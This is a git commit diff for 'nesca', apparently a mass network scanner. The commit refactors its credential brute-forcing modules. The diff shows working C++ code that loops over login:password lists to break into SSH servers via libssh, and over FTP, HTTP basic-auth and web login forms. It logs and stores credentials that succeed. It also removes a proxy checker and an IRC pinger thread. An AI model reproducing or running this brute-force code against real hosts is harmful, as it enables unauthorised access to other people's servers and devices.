This commit is contained in:
cora32 2015-03-23 19:32:43 +03:00
commit 2cbae2ce6d
36 changed files with 11043 additions and 3976 deletions

8
.gitignore vendored
View File

@ -32,3 +32,11 @@ version
lisca.cpp lisca.cpp
main - копия.cpp main - копия.cpp
result_files-* result_files-*
*.BACKUP.*
*.LOCAL.*
*.REMOTE.*
*.BASE.*
*.o
nesca
moc_*
*~

Binary file not shown.

View File

@ -29,7 +29,7 @@ bool BA::checkOutput(const string *buffer, const char *ip, const int port) {
return false; return false;
} }
lopaStr BA::_BABrute(const char *ip, const int port) { lopaStr BA::BABrute(const char *ip, const int port) {
string buffer; string buffer;
string lpString; string lpString;
lopaStr lps; lopaStr lps;
@ -65,11 +65,11 @@ lopaStr BA::_BABrute(const char *ip, const int port) {
return lps; return lps;
} }
lopaStr BA::_BALobby(const char *ip, const int port) { lopaStr BA::BALobby(const char *ip, const int port) {
while(BrutingThrds >= gMaxBrutingThreads) Sleep(1000); while(BrutingThrds >= gMaxBrutingThreads) Sleep(1000);
BruteUtils::BConInc(); BruteUtils::BConInc();
const lopaStr &lps = _BABrute(ip, port); const lopaStr &lps = BABrute(ip, port);
BruteUtils::BConDec(); BruteUtils::BConDec();
return lps; return lps;

View File

@ -10,10 +10,10 @@
class BA { class BA {
private: private:
static bool checkOutput(const string *buffer, const char *ip, const int port); static bool checkOutput(const string *buffer, const char *ip, const int port);
static lopaStr _BABrute(const char *ip, const int port); static lopaStr BABrute(const char *ip, const int port);
public: public:
static lopaStr _BALobby(const char *ip, const int port); static lopaStr BALobby(const char *ip, const int port);
}; };
#endif // BASICAUTH_H #endif // BASICAUTH_H

View File

@ -1,5 +1,4 @@
#include "CheckKey_Th.h" #include "CheckKey_Th.h"
#include "CheckProxy_Th.h"
#include "STh.h" #include "STh.h"
#include "externData.h" #include "externData.h"
#include "externFunctions.h" #include "externFunctions.h"

View File

@ -1,149 +0,0 @@
#include "CheckProxy_Th.h"
#include "externData.h"
void CheckProxy_Th::doEmitChangeRedIRCData(QString str)
{
emit chPTh->changeRedIRCData(str);
};
void CheckProxy_Th::doEmitChangeGreenIRCData(QString str)
{
emit chPTh->changeGreenIRCData(str);
};
void CheckProxy_Th::doEmitChangeYellowIRCData(QString str)
{
emit chPTh->changeYellowIRCData(str);
};
void CheckProxy_Th::doEmitChangeRawIRCDataInc(QString str)
{
emit chPTh->changeRawIRCDataInc(str);
};
void CheckProxy_Th::doEmitChangeRawIRCDataOut(QString str)
{
emit chPTh->changeRawIRCDataOut(str);
};
void CheckProxyLogic()
{
QString str1 = ui->ircProxyPort->text();
QString str2 = ui->ircProxy->text();
strcpy(ircProxy, str2.toUtf8().data());
strcpy(ircProxyPort, str1.toUtf8().data());
SOCKET pSock;
char precvBuff[2048] = {0};
sockaddr_in addr;
addr.sin_family = AF_INET;
addr.sin_port = htons(atoi(ircProxyPort));
HOSTENT *host;
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
if(inet_addr(ircProxy) != INADDR_NONE) addr.sin_addr.S_un.S_addr = inet_addr(ircProxy);
else if(host = gethostbyname (ircProxy)) ((unsigned long*) &addr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0];
#else
if(inet_addr(ircProxy) != INADDR_NONE) addr.sin_addr.s_addr = inet_addr(ircProxy);
else if(host=gethostbyname (ircProxy)) ((unsigned long*) &addr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0];
#endif
pSock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(pSock == INVALID_SOCKET)
{
chPTh->doEmitChangeRedIRCData("CheckProxy: -INVALID SOCKET.");
}
else
{
if(connect(pSock, (sockaddr*)&addr, sizeof(addr)) != SOCKET_ERROR)
{
chPTh->doEmitChangeRawIRCDataOut(QString::fromLocal8Bit("CONNECT 2ip.ru HTTP/1.1\r\n\r\n"));
send(pSock, "CONNECT 2ip.ru HTTP/1.1\r\n\r\n", strlen("CONNECT 2ip.ru HTTP/1.1\r\n\r\n"), 0);
while(recv(pSock, precvBuff, sizeof(precvBuff), 0) > 0)
{
chPTh->doEmitChangeRawIRCDataInc(QString::fromLocal8Bit(precvBuff));
if( (strstr(precvBuff, "HTTP/1.1 200 OK") || strstr(precvBuff, "200 OK")
|| strstr(precvBuff, "OK 200") || strstr(precvBuff, "200 Connection")
)
&& (strlen(precvBuff) < 150)
&& strstr(precvBuff, "404 File Not Found") == NULL
&&
(
strstr(precvBuff, "Invalid Request") == NULL
|| strstr(precvBuff, "Invalid request") == NULL || strstr(precvBuff, "invalid request") == NULL
|| strstr(precvBuff, "400 Bad Request") == NULL || strstr(precvBuff, " 400 bad request") == NULL
)
)
{
chPTh->doEmitChangeRawIRCDataOut(QString::fromLocal8Bit("GET / HTTP/1.1\r\nHost: 2ip.ru\r\n\r\n"));
send(pSock, "GET / HTTP/1.1\r\nHost: 2ip.ru\r\n\r\n", strlen("GET / HTTP/1.1\r\nHost: 2ip.ru\r\n\r\n"), 0);
ZeroMemory(precvBuff, sizeof(precvBuff));
while(recv(pSock, precvBuff, sizeof(precvBuff), 0) > 0)
{
chPTh->doEmitChangeRawIRCDataInc(QString::fromLocal8Bit(precvBuff));
if(strstr(precvBuff, "404 File Not Found") == NULL && strstr(precvBuff, "Invalid Request") == NULL
&& strstr(precvBuff, "Invalid request") == NULL && strstr(precvBuff, "invalid request") == NULL
&& strstr(precvBuff, "400 Bad Request") == NULL && strstr(precvBuff, "400 bad request") == NULL
&& strstr(precvBuff, "404 Not") == NULL && strstr(precvBuff, "404 not") == NULL
&& strstr(precvBuff, "500 Internal") == NULL && strstr(precvBuff, "500 internal") == NULL
&& strstr(precvBuff, "401 Unauthorized") == NULL && strstr(precvBuff, "401 unauthorized") == NULL
&& strstr(precvBuff, "InvalidUrl") == NULL && strstr(precvBuff, "invalidurl") == NULL
&& strstr(precvBuff, "Invalid Url") == NULL && strstr(precvBuff, "invalid url") == NULL
&& strstr(precvBuff, "Gateway Timeout") == NULL && strstr(precvBuff, "Gateway timeout") == NULL
&& strstr(precvBuff, "gateway timeout") == NULL
)
{
chPTh->doEmitChangeGreenIRCData("[OK] Success! Now using " + QString(ircProxy) + ":" + QString(ircProxyPort) + ".");
proxyEnabledFlag = 1;
CSSOCKET(pSock);
break;
}
else
{
chPTh->doEmitChangeRedIRCData(QString(ircProxy) + ":" + QString(ircProxyPort) + " - is not CONNECT proxy? Try another one.");
proxyEnabledFlag = 0;
CSSOCKET(pSock);
break;
};
};
break;
}
else
{
chPTh->doEmitChangeRedIRCData(QString(ircProxy) + ":" + QString(ircProxyPort) + " - is not CONNECT proxy? Try another one.");
proxyEnabledFlag = 0;
CSSOCKET(pSock);
break;
};
};
}
else
{
chPTh->doEmitChangeRedIRCData("Cannot connect to " + QString(ircProxy) + ":" + QString(ircProxyPort) + ".");
proxyEnabledFlag = 0;
};
};
};
void CheckProxy_Th::run()
{
CheckProxyLogic();
};

View File

@ -1,27 +0,0 @@
#ifndef CHECKPROXY_TH_H
#define CHECKPROXY_TH_H
#pragma once
#include "nesca_3.h"
class CheckProxy_Th : public QThread
{
Q_OBJECT
public: signals: void changeRedIRCData(QString);
public: signals: void changeGreenIRCData(QString);
public: signals: void changeYellowIRCData(QString);
public: signals: void changeRawIRCDataInc(QString);
public: signals: void changeRawIRCDataOut(QString);
public:
void doEmitChangeRedIRCData(QString str);
void doEmitChangeGreenIRCData(QString str);
void doEmitChangeYellowIRCData(QString str);
void doEmitChangeRawIRCDataOut(QString str);
void doEmitChangeRawIRCDataInc(QString str);
protected:
void run();
};
extern CheckProxy_Th *chPTh;
#endif // CHECKPROXY_TH_H

View File

@ -85,142 +85,6 @@ int _pingMyTarget(const char *ip)
} }
#endif #endif
int _sshConnect(char *user, char *pass, const char *host, int port)
{
char hostStr[128] = {0};
ZeroMemory(hostStr, sizeof(hostStr));
strcpy(hostStr, user);
strcat(hostStr, "@");
strcat(hostStr, host);
ssh_session my_ssh_session = ssh_new();
if (my_ssh_session == NULL)
{
ssh_free(my_ssh_session);
return -1;
};
ssh_options_set(my_ssh_session, SSH_OPTIONS_HOST, hostStr);
ssh_options_set(my_ssh_session, SSH_OPTIONS_PORT, &port);
//ssh_options_set(my_ssh_session, SSH_OPTIONS_LOG_VERBOSITY, &verbosity);
//ssh_options_set(my_ssh_session, SSH_OPTIONS_LOG_VERBOSITY_STR, &verbosity);
//ssh_options_set(my_ssh_session, SSH_OPTIONS_STRICTHOSTKEYCHECK, 0);
int sshTimeout = gTimeOut + 1;
ssh_options_set(my_ssh_session, SSH_OPTIONS_TIMEOUT, &sshTimeout);
int rc = ssh_connect(my_ssh_session);
if (rc != SSH_OK)
{
ssh_disconnect(my_ssh_session);
ssh_free(my_ssh_session);
++offlines;
return -2;
}
else
{
rc = ssh_userauth_password(my_ssh_session, NULL, pass);
if (rc != SSH_AUTH_SUCCESS)
{
ssh_disconnect(my_ssh_session);
ssh_free(my_ssh_session);
return -1;
};
};
ssh_disconnect(my_ssh_session);
ssh_free(my_ssh_session);
++ssh;
return 0;
}
char _get_ssh_banner(const char *ip, int port)
{
char recvBuff[256] = {0};
std::string buffer;
Connector::nConnect(ip, port, &buffer);
int sz = buffer.size();
if(sz != 0)
{
strncpy(recvBuff, buffer.c_str(), sz < 256 ? sz : 256);
};
return *recvBuff;
}
int check_ssh_pass(char *user, char *pass, char *userPass, const char *host, int port, std::string *buffer, const char *banner)
{
int res = -1;
if(BALogSwitched) stt->doEmitionBAData("Probing SSH: " + QString(user) + ":" + QString(pass) + "@" + QString(host) + ":" + QString::number(port));
res = _sshConnect(user, pass, host, port);
if(res == 0)
{
stt->doEmition_BAGreenData("[+] SSH: " + QString(user) + ":" + QString(pass) + "@" + QString(host));
buffer->append(userPass);
buffer->append("@");
buffer->append(host);
buffer->append("|+|");
buffer->append(banner);
return 0;
};
return res;
}
int _EstablishSSHConnection(const char* host, int port, std::string *buffer, const char *banner)
{
char login[32] = {0};
char pass[32] = {0};
char temp[64] = {0};
BruteUtils::BConInc();
int sz = 0;
char *ptr1 = 0;
int res = -1;
for(int i = 0; i < MaxSSHPass; ++i)
{
if(globalScanFlag == false) break;
strcpy(temp, sshlpLst[i]);
ptr1 = strstr(temp, ":");
sz = ptr1 - temp;
strncpy(login, temp, sz);
strcpy(pass, ptr1 + 1);
res = check_ssh_pass(login, pass, temp, host, port, buffer, banner);
ZeroMemory(login, sizeof(login));
ZeroMemory(pass, sizeof(pass));
ZeroMemory(temp, sizeof(temp));
if(res == 0)
{
if(i == 0) return -2; //Failhit
BruteUtils::BConDec();
return 1;
}
else if(res == -2)
{
BruteUtils::BConDec();
return -2;
};
Sleep(500);
};
BruteUtils::BConDec();
return -1;
}
QString strIP;
QString strPort;
int Connector::_SSHLobby(std::string ip, int port, std::string *buffer)
{
const char &banner = _get_ssh_banner(ip.c_str(), port);
if(strlen(&banner) > 0)
{
return _EstablishSSHConnection(ip.c_str(), port, buffer, &banner);
};
return -1;
}
struct data { struct data {
char trace_ascii; /* 1 or 0 */ char trace_ascii; /* 1 or 0 */
}; };
@ -299,9 +163,10 @@ int Connector::nConnect(const char* ip, const int port, std::string *buffer,
curl_easy_setopt(curl, CURLOPT_HTTPHEADER, chunk); curl_easy_setopt(curl, CURLOPT_HTTPHEADER, chunk);
} }
if (lpString != NULL) { if (lpString != NULL) {
curl_easy_setopt(curl, CURLOPT_HTTPAUTH, (long)CURLAUTH_ANY); curl_easy_setopt(curl, CURLOPT_HTTPAUTH, (long)CURLAUTH_ANY);
curl_easy_setopt(curl, CURLOPT_FTPLISTONLY, TRUE); curl_easy_setopt(curl, CURLOPT_UNRESTRICTED_AUTH, 1L);
curl_easy_setopt(curl, CURLOPT_FTPLISTONLY, 1L);
curl_easy_setopt(curl, CURLOPT_USERPWD, lpString->c_str()); curl_easy_setopt(curl, CURLOPT_USERPWD, lpString->c_str());
}; };
@ -375,7 +240,7 @@ int Connector::_ConnectToPort(string ip, int port, char *hl)
std::string buffer; std::string buffer;
int size = 0; int size = 0;
if (port == 22) size = _SSHLobby(ip.c_str(), port, &buffer); if (port == 22) size = SSHAuth::SSHLobby(ip.c_str(), port, &buffer);
else size = nConnect(ip.c_str(), port, &buffer); else size = nConnect(ip.c_str(), port, &buffer);
if(size > 0) if(size > 0)

View File

@ -4,6 +4,7 @@
#include "externData.h" #include "externData.h"
#include "Utils.h" #include "Utils.h"
#include "BruteUtils.h" #include "BruteUtils.h"
#include "SSHAuth.h"
#include "STh.h" #include "STh.h"
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) #if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)

View File

@ -9,7 +9,7 @@ bool FTPA::checkOutput(const string *buffer) {
return false; return false;
} }
lopaStr FTPA::_FTPBrute(const char *ip, const int port, PathStr *ps) { lopaStr FTPA::FTPBrute(const char *ip, const int port, PathStr *ps) {
string buffer; string buffer;
string lpString; string lpString;
lopaStr lps; lopaStr lps;
@ -54,11 +54,11 @@ lopaStr FTPA::_FTPBrute(const char *ip, const int port, PathStr *ps) {
return lps; return lps;
} }
lopaStr FTPA::_FTPLobby(const char *ip, const int port, PathStr *ps) { lopaStr FTPA::FTPLobby(const char *ip, const int port, PathStr *ps) {
while(BrutingThrds >= gMaxBrutingThreads) Sleep(1000); while(BrutingThrds >= gMaxBrutingThreads) Sleep(1000);
BruteUtils::BConInc(); BruteUtils::BConInc();
const lopaStr &lps = _FTPBrute(ip, port, ps); const lopaStr &lps = FTPBrute(ip, port, ps);
BruteUtils::BConDec(); BruteUtils::BConDec();
return lps; return lps;

View File

@ -10,10 +10,10 @@
class FTPA { class FTPA {
private: private:
static bool checkOutput(const string *buffer); static bool checkOutput(const string *buffer);
static lopaStr _FTPBrute(const char *ip, const int port, PathStr *ps); static lopaStr FTPBrute(const char *ip, const int port, PathStr *ps);
public: public:
static lopaStr _FTPLobby(const char *ip, const int port, PathStr *ps); static lopaStr FTPLobby(const char *ip, const int port, PathStr *ps);
}; };
#endif // FTPAUTH_H #endif // FTPAUTH_H

View File

@ -1,30 +0,0 @@
#include "IRCPinger_Th.h"
#include "externData.h"
void IRCPinger_Th::doEmitChangeRedIRCData(QString str)
{
emit ircPTh->changeRedIRCData(str);
};
void IRCPinger_Th::doEmitRestartIRC()
{
emit ircPTh->RestartIRC();
};
void IRCPinger_Th::run()
{
while(iWantToConnect)
{
if(globalPinger >= 360) //6min timeout
{
ircPTh->doEmitChangeRedIRCData("-//- Ping timeout. Reconnecting... ");
ircPTh->doEmitRestartIRC();
globalPinger = 0;
msleep(10000);
};
++globalPinger;
msleep(1000);
};
};

View File

@ -1,23 +0,0 @@
#ifndef IRCPINGER_TH_H
#define IRCPINGER_TH_H
#pragma once
#include "nesca_3.h"
extern int iWantToConnect;
class IRCPinger_Th : public QThread
{
Q_OBJECT
public:
static void doEmitChangeRedIRCData(QString str);
static void doEmitRestartIRC();
public: signals: void changeRedIRCData(QString);
public: signals: void RestartIRC();
protected:
void run();
};
extern IRCPinger_Th *ircPTh;
#endif // IRCPINGER_TH_H

6506
Makefile Normal file

File diff suppressed because it is too large Load Diff

133
SSHAuth.cpp Normal file
View File

@ -0,0 +1,133 @@
#include "SSHAuth.h"
int _sshConnect(char *user, char *pass, const char *host, int port)
{
char hostStr[128] = {0};
ZeroMemory(hostStr, sizeof(hostStr));
strcpy(hostStr, user);
strcat(hostStr, "@");
strcat(hostStr, host);
ssh_session my_ssh_session = ssh_new();
if (my_ssh_session == NULL)
{
ssh_free(my_ssh_session);
return -1;
};
ssh_options_set(my_ssh_session, SSH_OPTIONS_HOST, hostStr);
ssh_options_set(my_ssh_session, SSH_OPTIONS_PORT, &port);
int sshTimeout = gTimeOut + 1;
ssh_options_set(my_ssh_session, SSH_OPTIONS_TIMEOUT, &sshTimeout);
int rc = ssh_connect(my_ssh_session);
if (rc != SSH_OK)
{
ssh_disconnect(my_ssh_session);
ssh_free(my_ssh_session);
++offlines;
return -2;
}
else
{
rc = ssh_userauth_password(my_ssh_session, NULL, pass);
if (rc != SSH_AUTH_SUCCESS)
{
ssh_disconnect(my_ssh_session);
ssh_free(my_ssh_session);
return -1;
};
};
ssh_disconnect(my_ssh_session);
ssh_free(my_ssh_session);
++ssh;
return 0;
}
char _get_ssh_banner(const char *ip, int port)
{
char recvBuff[256] = {0};
std::string buffer;
Connector::nConnect(ip, port, &buffer);
int sz = buffer.size();
if(sz != 0)
{
strncpy(recvBuff, buffer.c_str(), sz < 256 ? sz : 256);
};
return *recvBuff;
}
int check_ssh_pass(char *user, char *pass, char *userPass, const char *host, int port, std::string *buffer, const char *banner)
{
int res = -1;
if(BALogSwitched) stt->doEmitionBAData("Probing SSH: " + QString(user) + ":" + QString(pass) + "@" + QString(host) + ":" + QString::number(port));
res = _sshConnect(user, pass, host, port);
if(res == 0)
{
stt->doEmition_BAGreenData("[+] SSH: " + QString(user) + ":" + QString(pass) + "@" + QString(host));
buffer->append(userPass);
buffer->append("@");
buffer->append(host);
buffer->append("|+|");
buffer->append(banner);
return 0;
};
return res;
}
int SSHBrute(const char* host, int port, std::string *buffer, const char *banner)
{
char login[32] = {0};
char pass[32] = {0};
char temp[64] = {0};
BruteUtils::BConInc();
int sz = 0;
char *ptr1 = 0;
int res = -1;
for(int i = 0; i < MaxSSHPass; ++i)
{
if(!globalScanFlag) break;
strcpy(temp, sshlpLst[i]);
ptr1 = strstr(temp, ":");
sz = ptr1 - temp;
strncpy(login, temp, sz);
strcpy(pass, ptr1 + 1);
res = check_ssh_pass(login, pass, temp, host, port, buffer, banner);
ZeroMemory(login, sizeof(login));
ZeroMemory(pass, sizeof(pass));
ZeroMemory(temp, sizeof(temp));
if(res == 0)
{
if(i == 0) return -2; //Failhit
BruteUtils::BConDec();
return 1;
}
else if(res == -2)
{
BruteUtils::BConDec();
return -2;
};
Sleep(500);
};
BruteUtils::BConDec();
return -1;
}
QString strIP;
QString strPort;
int SSHAuth::SSHLobby(const char *ip, int port, std::string *buffer)
{
const char &banner = _get_ssh_banner(ip, port);
if(strlen(&banner) > 0)
{
return SSHBrute(ip, port, buffer, &banner);
};
return -1;
}

16
SSHAuth.h Normal file
View File

@ -0,0 +1,16 @@
#ifndef SSHAUTH_H
#define SSHAUTH_H
#include "Connector.h"
#include "BruteUtils.h"
#include "Utils.h"
#include "externData.h"
#include "mainResources.h"
class SSHAuth {
public:
static int SSHLobby(const char *ip,
const int port,
std::string *buffer);
};
#endif // SSHAUTH_H

View File

@ -62,10 +62,10 @@ lopaStr WFClass::doGetCheck(const char *ip,
for(int i = 0; i < MaxWFLogin; ++i) for(int i = 0; i < MaxWFLogin; ++i)
{ {
if(globalScanFlag == false) break; if(!globalScanFlag) break;
for(int j = firstCycle; j < MaxWFPass; ++j) for(int j = firstCycle; j < MaxWFPass; ++j)
{ {
if(globalScanFlag == false) break; if(!globalScanFlag) break;
int rSize = strlen(ip) + strlen(actionVal) + strlen(userVal) + strlen(wfLoginLst[i]) + strlen(passVal) + strlen(wfPassLst[j]) + 4; int rSize = strlen(ip) + strlen(actionVal) + strlen(userVal) + strlen(wfLoginLst[i]) + strlen(passVal) + strlen(wfPassLst[j]) + 4;
@ -105,10 +105,10 @@ lopaStr WFClass::doPostCheck(const char *ip,
for(int i = 0; i < MaxWFLogin; ++i) for(int i = 0; i < MaxWFLogin; ++i)
{ {
if(globalScanFlag == false) break; if(!globalScanFlag) break;
for(int j = firstCycle; j < MaxWFPass; ++j) for(int j = firstCycle; j < MaxWFPass; ++j)
{ {
if(globalScanFlag == false) break; if(!globalScanFlag) break;
int rSize = strlen(ip) + strlen(actionVal) + strlen(userVal) + strlen(wfLoginLst[i]) + strlen(passVal) + strlen(wfPassLst[j]) + 4; int rSize = strlen(ip) + strlen(actionVal) + strlen(userVal) + strlen(wfLoginLst[i]) + strlen(passVal) + strlen(wfPassLst[j]) + 4;

View File

@ -1,69 +1,7 @@
#include "STh.h" #include "STh.h"
#include <libssh/libssh.h>
#include <sstream>
#include <openssl/md5.h>
#include "mainResources.h"
#include "externFunctions.h"
#include "externData.h" #include "externData.h"
#include "openssl/err.h"
#include "Utils.h"
#include "BruteUtils.h" #include "BruteUtils.h"
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
#include <iphlpapi.h>
#include <icmpapi.h>
#pragma comment(lib, "iphlpapi.lib")
#endif
int gMaxBrutingThreads = 200;
fd_set write_fs;
int _countFTPDirectories(char *recvBuff){
if(strcmp(recvBuff, "dummy\r\n") == 0) return 0;
int dirCounter = 0;
if(recvBuff[strlen(recvBuff) - 1] != '\n') strcat(recvBuff, "\n");
char *dirPtr = strstr(recvBuff, "\n");
while(dirPtr != NULL){
++dirCounter;
dirPtr = strstr(dirPtr + 1, "\n");
};
return dirCounter;
}
bool debugWriteWait = false;
void _DebugWriteHTMLToFile(char *request, char *buff)
{
while(debugWriteWait) Sleep(50);
debugWriteWait = true;
FILE *df = fopen("./debugData.txt", "a");
if(df != NULL)
{
fputs(request, df);
fputs("==========================\n", df);
fputs(buff, df);
fputs("\n==========================\n==========================\n\n", df);
fclose(df);
}
else
{
stt->doEmitionRedFoundData("[DEBUG] Cannot open debugData.txt");
};
debugWriteWait = false;
}
unsigned char tl(unsigned char d)
{
if(d >= 192 && d <= 223)
{
return (unsigned char)(d + 32);
}
else
{
return tolower(d);
};
}
int recvWT( int recvWT(
int Socket, int Socket,
char *Buffer, char *Buffer,
@ -90,250 +28,6 @@ int recvWT(
return(n) ; /* trouble */ return(n) ; /* trouble */
} }
std::string toLowerStr(const char *str)
{
if(str != NULL) {
int tsz = strlen(str);
char *strr = new char[tsz+1];
ZeroMemory(strr, tsz);
for (int i = 0; i < tsz; i++)
{
strr[i] = tl(str[i]);
};
memset(strr + tsz, '\0', 1);
std::string tstr = std::string(strr);
delete []strr;
return tstr;
} else return "";
}
int OpenConnection(SOCKET *sock, const char *hostname, int port)
{
struct hostent *host;
struct sockaddr_in addr;
if(strlen(hostname) == 0)
{
return -1;
};
if(port < 0 || port > 65535)
{
return -1;
};
if ( (host = gethostbyname(hostname)) == NULL )
{
++offlines;
if(gNegDebugMode) stt->doEmitionDebugFoundData("[<a href=\"http://" + QString(hostname) + ":" + QString::number(port) + "/\"><font color=\"#0084ff\">" + QString(hostname) + ":" + QString::number(port) + "</font></a>" + "] Rejecting in _connection: Bad IP.");
return -1;
};
*sock = socket(PF_INET, SOCK_STREAM, 0);
ZeroMemory(&addr, sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_port = htons(port);
addr.sin_addr.s_addr = *(long*)(host->h_addr);
if ( connect(*sock, (struct sockaddr*)&addr, sizeof(addr)) == SOCKET_ERROR )
{
++offlines;
CSSOCKET(*sock);
return -1;
};
return 0;
}
void _baSSLWorker(char *ip, char *request, char *rvBuff)
{
const SSL_METHOD *method = SSLv3_client_method(); /* Create new client-method instance */
SSL_CTX *ctx = SSL_CTX_new(method); /* Create new context */
if(ctx != NULL)
{
SOCKET sock;
SSL_CTX_set_timeout(ctx, gTimeOut);
int result = OpenConnection(&sock, ip, 443);
if(result >= 0)
{
SSL *ssl = NULL;
ssl = SSL_new(ctx); /* create new SSL connection state */
if(ssl != NULL)
{
SSL_set_fd(ssl, sock); /* attach the socket descriptor */
if(SSL_connect(ssl))
{
SSL_write(ssl, request, strlen(request));
if(MapWidgetOpened) stt->doEmitionAddOutData(QString(request));
char tempBuff[128] = {0};
int x = 1;
int xx = 0;
ZeroMemory(rvBuff, sizeof(*rvBuff));
while(xx < 512)
{
x = SSL_read(ssl, tempBuff, sizeof(tempBuff));
if(x <= 0) break;
Activity += x;
xx += x;
strncat(rvBuff, tempBuff, x);
ZeroMemory(tempBuff, sizeof(tempBuff));
};
if(MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString(rvBuff));
if(HTMLDebugMode) _DebugWriteHTMLToFile(request, rvBuff);
};
SSL_shutdown(ssl);
SSL_free(ssl);
CSSOCKET(sock);
SSL_CTX_free(ctx); /* release context */
return;
};
};
CSSOCKET(sock);
SSL_CTX_free(ctx); /* release context */
}
else
{
char buff1[512] = {0};
char buff2[512] = {0};
ERR_error_string(ERR_peek_error(), buff1);
ERR_error_string(ERR_peek_last_error(), buff2);
stt->doEmitionRedFoundData(QString(ip) + " SSL(InitCTX) 1:" + QString(buff1) + " 2:" + QString(buff2));
};
}
char *_getAttributeValue(char *str, char *val, char *ip, int port)
{
char res[1024] = {0};
char *ptrStart = NULL;
char *ptrS1End = NULL;
char *ptrS2End = NULL;
ptrStart = strstri(str, val);
if(ptrStart != NULL)
{
if(strstri(ptrStart, "qop=auth") != NULL) return "auth";
ptrS1End = _findFirst(ptrStart, "\"");
if(ptrS1End != NULL)
{
ptrS2End = _findFirst(ptrS1End + 1, "\"");
if(ptrS2End != NULL)
{
int sz = ptrS2End - ptrS1End - 1;
if(sz != 0 && sz < 1024) strncpy(res, ptrS1End + 1, sz);
else return "";
return res;
}
else
{
stt->doEmitionRedFoundData("[_getAttributeValue] Error retrieving value: \"" + QString(val) + "\" IP:<a style=\"color:#819121;\" href=\"http://" + QString(ip) + ":" + QString::number(port) + "/\">" + QString(ip) + ":" + QString::number(port) + "</a>");
return "";
};
}
else
{
stt->doEmitionRedFoundData("[_getAttributeValue] Error retrieving value: \"" + QString(val) + "\" IP:<a style=\"color:#919121;\" href=\"http://" + QString(ip) + ":" + QString::number(port) + "/\">" + QString(ip) + ":" + QString::number(port) + "</a>");
return "";
};
}
else
{
stt->doEmitionRedFoundData("[_getAttributeValue] Error retrieving value: \"" + QString(val) + "\" IP:<a style=\"color:#819121;\" href=\"http://" + QString(ip) + ":" + QString::number(port) + "/\">" + QString(ip) + ":" + QString::number(port) + "</a>");
return "";
};
}
#define HASHLEN 16
typedef char HASH[HASHLEN];
#define HASHHEXLEN 32
typedef char HASHHEX[HASHHEXLEN+1];
#define IN
#define OUT
void CvtHex(
IN HASH Bin,
OUT HASHHEX Hex
)
{
unsigned short i;
unsigned char j;
for (i = 0; i < HASHLEN; i++) {
j = (Bin[i] >> 4) & 0xf;
if (j <= 9)
Hex[i*2] = (j + '0');
else
Hex[i*2] = (j + 'a' - 10);
j = Bin[i] & 0xf;
if (j <= 9)
Hex[i*2+1] = (j + '0');
else
Hex[i*2+1] = (j + 'a' - 10);
};
Hex[HASHHEXLEN] = '\0';
};
char *_makeDigestResponse(
char *login,
char *realm,
char *pass,
char *path,
char *nonce,
char *pszNonceCount,
char *pszCNonce,
char *pszQop
)
{
char HA1[MD5_DIGEST_LENGTH];
char HA2[MD5_DIGEST_LENGTH];
char HA1Data[512] = {0};
char HA2Data[512] = {0};
strcpy(HA1Data, login);
strcat(HA1Data, ":");
strcat(HA1Data, realm);
strcat(HA1Data, ":");
strcat(HA1Data, pass);
strcpy(HA2Data, "GET:");
strcat(HA2Data, path);
MD5((unsigned char*) HA1Data, strlen(HA1Data), (unsigned char*)HA1);
MD5((unsigned char*) HA2Data, strlen(HA2Data), (unsigned char*)HA2);
char responseData[512] = {0};
char *HA1MD5 = new char[64];
char *HA2MD5 = new char[64];
ZeroMemory(HA1MD5, 64);
ZeroMemory(HA2MD5, 64);
CvtHex(HA1, HA1MD5);
strcpy(responseData, HA1MD5);
strcat(responseData, ":");
strcat(responseData, nonce);
strcat(responseData, ":");
if (*pszQop != NULL) {
strcat(responseData, pszNonceCount);
strcat(responseData, ":");
strcat(responseData, pszCNonce);
strcat(responseData, ":");
strcat(responseData, pszQop);
strcat(responseData, ":");
};
CvtHex(HA2, HA2MD5);
strcat(responseData, HA2MD5);
delete []HA1MD5;
delete []HA2MD5;
char response[MD5_DIGEST_LENGTH];
MD5((unsigned char*) responseData, strlen(responseData), (unsigned char*)response);
char responseMD5[64] = {0};
CvtHex(response, responseMD5);
return (char*)responseMD5;
}
int _webLoginSeq(char *request, char *login, char *pass, const char *ip, int port, int passCounter, char *type, std::vector<char*> negVector) int _webLoginSeq(char *request, char *login, char *pass, const char *ip, int port, int passCounter, char *type, std::vector<char*> negVector)
{ {
char recvBuff[256] = {0}; char recvBuff[256] = {0};
@ -348,17 +42,11 @@ int _webLoginSeq(char *request, char *login, char *pass, const char *ip, int por
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) #if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
if(inet_addr(ip) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(ip); if(inet_addr(ip) != INADDR_NONE) sockAddr.sin_addr.S_un.S_addr = inet_addr(ip);
else if(host=gethostbyname (ip)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; else if(host=gethostbyname (ip)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0];
else else return -1;
{
return -1;
};
#else #else
if(inet_addr(ip) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(ip); if(inet_addr(ip) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(ip);
else if(host=gethostbyname(ip)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0]; else if(host=gethostbyname(ip)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0];
else else return -1;
{
return -1;
};
#endif #endif
sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP ); sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );
int cCode = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr)); int cCode = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr));
